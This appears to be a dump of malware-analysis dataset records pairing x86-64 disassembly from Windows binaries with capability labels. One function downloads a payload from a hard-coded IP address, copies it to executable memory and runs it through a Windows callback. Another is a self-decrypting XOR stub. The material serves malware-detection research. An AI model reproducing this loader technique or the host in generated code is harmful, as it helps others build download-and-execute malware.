joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800c64a4
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x40
mov rax, qword [0x180116250]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp qword [rcx + 0x10], 0xffffffffffffffff
movzx esi, dx
mov rbx, rcx
je 0x1800c64da
mov eax, 6
jmp 0x1800c65b7
mov r14d, 2
cmp dword [rcx + 8], r14d
jne 0x1800c64f0
lea edx, [r14 - 1]
lea r8d, [r14 + 4]
jmp 0x1800c6503
cmp dword [rcx + 8], 1
jne 0x1800c65b2
mov r8d, shutdown
mov edx, r14d
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 0x10], rax
cmp rax, 0xffffffffffffffff
jne 0x1800c6520
mov eax, 0xa
jmp 0x1800c65b7
xor edx, edx
lea rcx, [rsp + 0x28]
lea r8d, [rdx + 0x10]
call fcn.1800a10b0
mov ecx, 0x7f000001
mov word [rsp + 0x28], r14w
call qword [sym.imp.WS2_32.dll_htonl]
movzx ecx, si
mov dword [rsp + 0x2c], eax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbx + 0x10]
lea rdx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1800c6591
cmp dword [rbx + 8], 1
mov rcx, qword [rbx + 0x10]
jne 0x1800c659e
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 1
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
jmp 0x1800c65a9
mov rcx, rbx
call fcn.1800c65d8
jmp 0x1800c6516
mov edx, 0x7fffffff
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x1800c6591
xor eax, eax
jmp 0x1800c65b7
mov eax, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180081ff0
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800c664c
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x180116250]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1800c6694
movzx eax, word [rsp + 0x20]
cmp al, 2
jne 0x1800c668e
shr ax, 8
cmp al, 2
jne 0x1800c668e
mov al, 1
jmp 0x1800c6696
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180081ff0
add rsp, 0x1d8
ret

Function at 0x1800c66b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov rbx, rcx
test r9, r9
jne 0x1800c66db
lea eax, [r9 + 8]
jmp 0x1800c672c
cmp qword [rcx + 0x10], 0xffffffffffffffff
jne 0x1800c66e9
mov eax, 2
jmp 0x1800c672c
mov r9, qword [rsp + 0x50]
mov edx, 1
mov r8d, dword [rsp + 0x58]
call fcn.1800c6744
test eax, eax
jne 0x1800c672c
mov rcx, qword [rbx + 0x10]
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x1800c671f
mov eax, 4
jmp 0x1800c672c
jns 0x1800c6728
mov eax, 0xa
jmp 0x1800c672c
mov dword [rdi], eax
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001040
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov edx, 0x47
lea rcx, [entry0]
mov al, byte [rcx + rdx]
xor al, 0x5f
add al, 0xb4
xor al, 0x91
mov byte [rcx + rdx], al
inc rdx
cmp rdx, 0x2d9
jl 0x140001068
jp 0x1400010b3
xchg edi, eax
dec byte [rbp - 0x4b2bc21c]
cmp edi, dword [rbx + 0x26]
and ebx, ecx
insb byte [rdi], dx
or cl, bh
std
invalid
push rbx
sbb dword [rbx + 0x44], esi
sbb eax, 0x3b7ae022
sbb eax, 0x3b7ae022
jg 0x1400010b0
jnp 0x1400010e2
cmp al, byte [rcx + rdi]
fild qword [rdx]
cmpsb byte [rsi], byte [rdi]
fidivr dword [rcx + 0x1c]
mov ch, 0x15
jg 0x1400010c7
adc eax, 0x2a7afd7f
jp 0x1400010f6
sub bh, al
clc
fst dword [rcx - 0x7f02d4f8]
jmp 0x12d7f4c52
jp 0x14000111f
cmp edi, dword [rdi - 0x1b]
jg 0x1400010cb
jp 0x140001112
adc bh, byte [eax + 0x3b]
xchg ebx, eax
invalid
push rcx
adc dl, byte [rbx + rdi + 0x67]
invalid
invalid
mov ch, 0x1c
mov ch, 0x15
ja 0x1400010e3
jp 0x140001161
jp 0x14000118c
jbe 0x140001167
invalid
ja 0x14000119c
js 0x1400011b7
cmp eax, edi
mov r13b, 0x2d
sbb dword [rdi + rdi], 0xffffffc2
outsb dx, byte [rsi]
outsd dx, dword [rsi]
in eax, 0xc3
sbb al, 1
invalid
invalid
sub eax, 0x2db57f82
mov bl, byte [rcx + rax]
invalid
sbb al, 1
invalid
Function at 0x140001050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0x100
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x48], 7
xor edi, edi
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
lea r8d, [rdi + 0x1e]
lea rdx, [0x14000b560]
lea rcx, [rsp + 0x30]
call fcn.1400015c0
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rdi
mov word [rsp + 0x58], di
lea r8d, [rdi + 0x20]
lea rdx, [0x14000b5a0]
lea rcx, [rsp + 0x58]
call fcn.1400015c0
nop
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], rdi
mov word [rsp + 0x80], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rsp + 0x80]
call fcn.1400015c0
nop
mov qword [rsp + 0xc0], 7
mov qword [rsp + 0xb8], rdi
mov word [rsp + 0xa8], di
lea r8d, [rdi + 0x20]
lea rdx, [0x14000b630]
lea rcx, [rsp + 0xa8]
call fcn.1400015c0
nop
mov qword [rsp + 0xe8], 7
mov qword [rsp + 0xe0], rdi
mov word [rsp + 0xd0], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0xd0]
call fcn.1400015c0
nop
lea rbx, [rsp + 0x30]
cmp qword [rbx + 0x18], 8
jb 0x14000116e
mov rcx, qword [rbx]
jmp 0x140001171
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400011a5
inc edi
add rbx, 0x28
cmp edi, 5
jb 0x140001162
lea r9, [0x1400014c0]
mov edx, 0x28
lea r8d, [rdx - 0x23]
lea rcx, [rsp + 0x30]
call fcn.140002070
xor al, al
jmp 0x1400011c1
lea r9, [0x1400014c0]
mov edx, 0x28
lea r8d, [rdx - 0x23]
lea rcx, [rsp + 0x30]
call fcn.140002070
mov al, 1
mov rbx, qword [rsp + 0x110]
add rsp, 0x100
pop rdi
ret
Function at 0x140001370
Capabilities:
Allocate or change rwx memory
Download url
Execute shellcode via indirect call
Execute shellcode via windows callback function
Receive data

Disassembly:
sub rsp, 0x98
call fcn.1400011e0
test al, al
je 0x1400014ac
mov qword [rsp + 0xa0], rbx
xor ebx, ebx
lea r8, [rsp + 0x38]
lea rdx, str.http:__8.134.112.243_6w.png
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x1400013d6
mov rcx, qword [rsp + 0x38]
lea r8d, [rbx + 1]
lea rdx, [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x60]
test eax, eax
jns 0x1400013e8
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor eax, eax
mov rbx, qword [rsp + 0xa0]
add rsp, 0x98
ret
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0xb0], rsi
mov esi, dword [rsp + 0x50]
mov ecx, esi
mov qword [rsp + 0x90], rdi
call fcn.140001b38
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x30], ebx
mov r10, qword [rcx]
lea r9, [rsp + 0x30]
mov r8d, esi
mov rdx, rax
mov rdi, rax
call qword [r10 + 0x18]
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rcx]
mov ebx, eax
call qword [rdx + 0x10]
test ebx, ebx
js 0x14000147a
cmp dword [rsp + 0x30], esi
jne 0x14000147a
mov r9d, 0x40
mov r8d, 0x1000
mov edx, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, esi
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140001cf0
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
mov rcx, rdi
call fcn.1400020d0
mov rsi, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0x90]
mov rbx, qword [rsp + 0xa0]
xor eax, eax
add rsp, 0x98
ret
xor eax, eax
add rsp, 0x98
ret

Function at 0x140002f30
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140002da0
Function at 0x140004bbc
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000e520]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140003c14
xor ebx, ebx
cmp qword [0x14000fc28], rbx
mov rdi, rax
jne 0x140004ccf
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140004da6
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004da6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000fc28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000fc30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14000fc38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14000fc48], rax
test rax, rax
je 0x140004cc6
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14000fc40], rax
jmp 0x140004cd6
mov rax, qword [0x14000fc40]
jmp 0x140004cdd
mov rax, qword [0x14000fc40]
mov r11, qword [0x14000fc48]
cmp rax, rdi
je 0x140004d44
cmp r11, rdi
je 0x140004d44
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14000fc48]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140004d44
test rax, rax
je 0x140004d44
call rsi
test rax, rax
je 0x140004d3e
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140004d3e
test byte [rsp + 0x40], 1
jne 0x140004d44
bts ebp, 0x15
jmp 0x140004d84
mov rcx, qword [0x14000fc30]
cmp rcx, rdi
je 0x140004d84
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004d84
call rax
mov rbx, rax
test rax, rax
je 0x140004d84
mov rcx, qword [0x14000fc38]
cmp rcx, rdi
je 0x140004d84
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004d84
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000fc28]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004da6
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140004da8
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005000
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140005faf
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000e520]
jne 0x14000501a
rol rcx, 0x10
test cx, 0xffff
jne 0x140005016
repz ret
ror rcx, 0x10
jmp 0x140005f08
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000fd10]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000fe08]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140005f8d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000fd10]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140005faf
mov rax, qword [rsp + 0x88]
mov qword [0x14000fe08], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000fda8], rax
mov rax, qword [0x14000fe08]
mov qword [0x14000fc80], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000fd90], rax
mov dword [0x14000fc70], 0xc0000409
mov dword [0x14000fc74], 1
mov rax, qword [0x14000e520]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000e528]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000fd08], eax
mov ecx, 1
call fcn.140005c88
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000acc0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000fd08], 0
jne 0x140006036
mov ecx, 1
call fcn.140005c88
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400b62c0]
mov dword [rax], 1
mov rax, qword [0x1400b62d0]
mov dword [rax], 1
mov rax, qword [0x1400b62e0]
mov dword [rax], 1
mov rax, qword [0x1400b6260]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140018b70
Capabilities:
Query environment variable

Disassembly:
push r15
mov eax, 0x10088
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.1400928b0
sub rsp, rax
xor edx, edx
mov rbp, rcx
xor ecx, ecx
mov word [rsp + 0x80], dx
lea r15, [rsp + 0x30]
movzx eax, byte [rbp]
mov word [rsp + 0x30], cx
test al, al
je 0x140018c35
xor edi, edi
lea r15, [rsp + 0x30]
lea r14, [rsp + 0x2a]
mov r12d, 0x28
lea r13, [rsp + 0x2c]
nop dword [rax]
mov rsi, r12
mov r8d, 2
mov rdx, r14
mov rcx, r13
sub rsi, rdi
mov byte [rsp + 0x2a], al
lea rbx, [r15 + rdi*2]
mov byte [rsp + 0x2b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a37b2
cmp word [r15 + rdi*2], 0
movzx eax, word [rsp + 0x2c]
je 0x140018c16
nop dword [rax + rax]
add rbx, 2
sub rsi, 1
cmp word [rbx], 0
jne 0x140018c08
test rsi, rsi
je 0x1400a37b2
mov word [rbx], ax
add rdi, 1
xor eax, eax
mov word [rbx + 2], ax
movzx eax, byte [rbp + rdi]
test al, al
jne 0x140018bc8
lea rbx, [rsp + 0x80]
mov r8d, 0x10000
mov rcx, r15
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x140018c64
mov rcx, rbx
call sub.msvcrt.dll__wcsdup
add rsp, 0x10088
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [8]
ud2

Function at 0x140018c80
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
movzx eax, byte [rcx]
mov qword [rsp + 0xd8], rdx
xor edx, edx
mov rbp, rcx
lea r15, [rsp + 0x30]
mov word [rsp + 0x30], dx
test al, al
je 0x140018d3d
xor edi, edi
lea r15, [rsp + 0x30]
lea r14, [rsp + 0x2a]
mov r12d, 0x28
lea r13, [rsp + 0x2c]
nop dword [rax]
mov rsi, r12
mov r8d, 2
mov rdx, r14
mov rcx, r13
sub rsi, rdi
mov byte [rsp + 0x2a], al
lea rbx, [r15 + rdi*2]
mov byte [rsp + 0x2b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a37b8
cmp word [r15 + rdi*2], 0
movzx eax, word [rsp + 0x2c]
je 0x140018d1e
nop dword [rax + rax]
add rbx, 2
sub rsi, 1
cmp word [rbx], 0
jne 0x140018d10
test rsi, rsi
je 0x1400a37b8
mov word [rbx], ax
add rdi, 1
xor eax, eax
mov word [rbx + 2], ax
movzx eax, byte [rbp + rdi]
test al, al
jne 0x140018cd0
mov rdx, qword [rsp + 0xd8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140037b40
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rbx, qword [0x1400c70b0]
mov rsi, rcx
test rbx, rbx
je 0x140037bc0
mov rax, qword [0x1400b6400]
mov rcx, qword [rax + 0x48]
cmp rbx, rcx
je 0x140037bb0
mov rdx, qword [0x1400c72e8]
test rdx, rdx
je 0x140037cb0
mov rcx, rbx
mov rbx, qword [sym.imp.python312.dll_PyNumber_InPlaceAdd]
call rbx
mov rcx, rax
mov rdx, rsi
mov rax, rbx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax
mov rbx, qword [sym.imp.python312.dll_PyNumber_InPlaceAdd]
jmp 0x140037b91
lea r15, str.NUITKA_ONEFILE_BINARY
mov rcx, r15
call fcn.140018b70
test rax, rax
je 0x140037cd0
mov rcx, rax
mov rdx, 0xffffffffffffffff
lea r14, [rsp + 0x40]
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
xor ecx, ecx
mov r13, r14
lea r12, [r15 + 0x28]
mov word [rsp + 0x40], cx
lea rbp, [rsp + 0x3a]
lea rdi, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
mov eax, 0x4e
nop
mov rbx, r12
mov r8d, 2
mov rdx, rbp
mov rcx, rdi
sub rbx, r15
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a3852
cmp word [r13], 0
movzx edx, word [rsp + 0x3c]
mov rax, r13
je 0x140037c5e
nop word [rax + rax]
add rax, 2
sub rbx, 1
cmp word [rax], 0
jne 0x140037c50
test rbx, rbx
je 0x1400a3852
mov word [rax], dx
add r15, 1
xor edx, edx
add r13, 2
mov word [rax + 2], dx
movzx eax, byte [r15]
test al, al
jne 0x140037c10
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
call qword [sym.imp.python312.dll_PyThreadState_Get]
mov rdx, qword [rsp + 0x28]
mov rcx, rax
call fcn.1400379d0
mov rbx, rax
mov qword [0x1400c70b0], rbx
jmp 0x140037b62
lea rcx, [0x1400b2952]
call qword [sym.imp.python312.dll_PyUnicode_FromString]
mov qword [0x1400c72e8], rax
mov rdx, rax
jmp 0x140037b82
mov rbx, qword [0x1400c70c8]
test rbx, rbx
jne 0x140037ca1
cmp byte [0x1400c72e2], 0
je 0x140037d13
mov rdx, 0xffffffffffffffff
lea rcx, [0x1400c70e0]
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
mov qword [0x1400c70c8], rax
mov rbx, rax
test rax, rax
je 0x140037d1f
mov eax, dword [rax]
add eax, 1
je 0x140037ca1
mov dword [rbx], eax
jmp 0x140037ca1
mov ecx, 1
call fcn.1400197f0
jmp 0x140037ce5
call qword [sym.imp.python312.dll_PyErr_Print]
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
call sub.msvcrt.dll_abort
nop
Function at 0x1400385a0
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rsi, str.NUITKA_ONEFILE_BINARY
mov ebx, ecx
mov rcx, rsi
call fcn.140018b70
test rax, rax
je 0x1400386f0
mov rcx, rax
mov rdx, 0xffffffffffffffff
lea r14, [rsp + 0x40]
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
xor ecx, ecx
mov r15, r14
lea r12, [rsi + 0x28]
mov word [rsp + 0x40], cx
mov r13, rax
lea rbp, [rsp + 0x3a]
mov eax, 0x4e
lea rdi, [rsp + 0x3c]
nop word [rax + rax]
mov rbx, r12
mov r8d, 2
mov rdx, rbp
mov rcx, rdi
sub rbx, rsi
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x1400a386a
cmp word [r15], 0
movzx edx, word [rsp + 0x3c]
mov rax, r15
je 0x140038656
nop dword [rax]
add rax, 2
sub rbx, 1
cmp word [rax], 0
jne 0x140038648
test rbx, rbx
je 0x1400a386a
mov word [rax], dx
add rsi, 1
xor edx, edx
add r15, 2
mov word [rax + 2], dx
movzx eax, byte [rsi]
test al, al
jne 0x140038608
mov rcx, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
call qword [sym.imp.python312.dll_PyThreadState_Get]
mov rcx, qword [0x1400c7a20]
mov rsi, rax
mov rax, qword [0x1400b6400]
mov rbx, qword [rax + 0x1c0]
test rcx, rcx
je 0x14003875d
mov rdx, rbx
call fcn.140009240
mov r8, r13
mov rcx, rsi
mov rbx, rax
mov rdx, rax
call fcn.14002c170
mov rdx, qword [rbx]
test edx, edx
js 0x1400386d2
sub rdx, 1
mov qword [rbx], rdx
je 0x140038745
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x1400c70c0]
lea rsi, [0x1400c70c0]
test bl, bl
je 0x140038710
mov rax, qword [0x1400c70c8]
lea rsi, [0x1400c70c8]
test rax, rax
jne 0x1400386d2
cmp byte [0x1400c72e2], 0
je 0x140038787
mov rdx, 0xffffffffffffffff
lea rcx, [0x1400c70e0]
call qword [sym.imp.python312.dll_PyUnicode_FromWideChar]
mov qword [rsi], rax
test rax, rax
je 0x140038791
mov edx, dword [rax]
add edx, 1
je 0x1400386d2
mov dword [rax], edx
jmp 0x1400386d2
mov qword [rsp + 0x28], rax
mov rcx, rbx
call qword [sym.imp.python312.dll__Py_Dealloc]
mov rax, qword [rsp + 0x28]
jmp 0x1400386d2
mov rcx, qword [0x1400c7998]
mov rdi, qword [rax + 0x1b0]
test rcx, rcx
je 0x14003879c
mov rdx, rdi
call fcn.140009240
mov qword [0x1400c7a20], rax
mov rcx, rax
jmp 0x1400386a9
movzx ecx, bl
call fcn.1400197f0
jmp 0x14003871e
call qword [sym.imp.python312.dll_PyErr_Print]
call sub.msvcrt.dll_abort
lea rcx, [0x1400ad533]
call qword [sym.imp.python312.dll_PyImport_ImportModule]
mov qword [0x1400c7998], rax
mov rcx, rax
test rax, rax
je 0x1400a386a
jmp 0x140038770
Function at 0x14008efe0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x1400c70a1], 0
mov rbp, rcx
mov rdi, rdx
mov r12, r8
je 0x14008f088
lea rdx, [0x1400b222a]
mov rcx, r12
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14008f0f0
mov rbx, qword [0x1400c6f40]
jmp 0x14008f025
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, r12
call sub.msvcrt.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_strlen
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
test esi, esi
jne 0x14008f020
movzx eax, word [rdx + 4]
lea r8, [rdx + 6]
test ax, ax
je 0x14008f077
lea rbx, [rdi + rax*8]
nop word cs:[rax + rax]
mov rdx, rdi
mov rcx, rbp
add rdi, 8
call fcn.14007efe0
mov r8, rax
cmp rdi, rbx
jne 0x14008f060
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x1400c6f40], rax
mov ebx, dword [rax]
mov qword [0x1400c6f40], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x1400c6f40], rdx
call fcn.14008e110
cmp eax, ebx
jne 0x14008f158
mov byte [0x1400c70a1], 1
jmp 0x14008f000
cmp byte [0x1400c70a0], 0
jne 0x14008f017
mov rbx, qword [sym.imp.python312.dll_PyDict_New]
call rbx
mov qword [0x1400c7c48], rax
call rbx
mov qword [0x1400c7c40], rax
call rbx
mov qword [0x1400c7c38], rax
call rbx
mov qword [0x1400c7c30], rax
call rbx
mov qword [0x1400c7c28], rax
call rbx
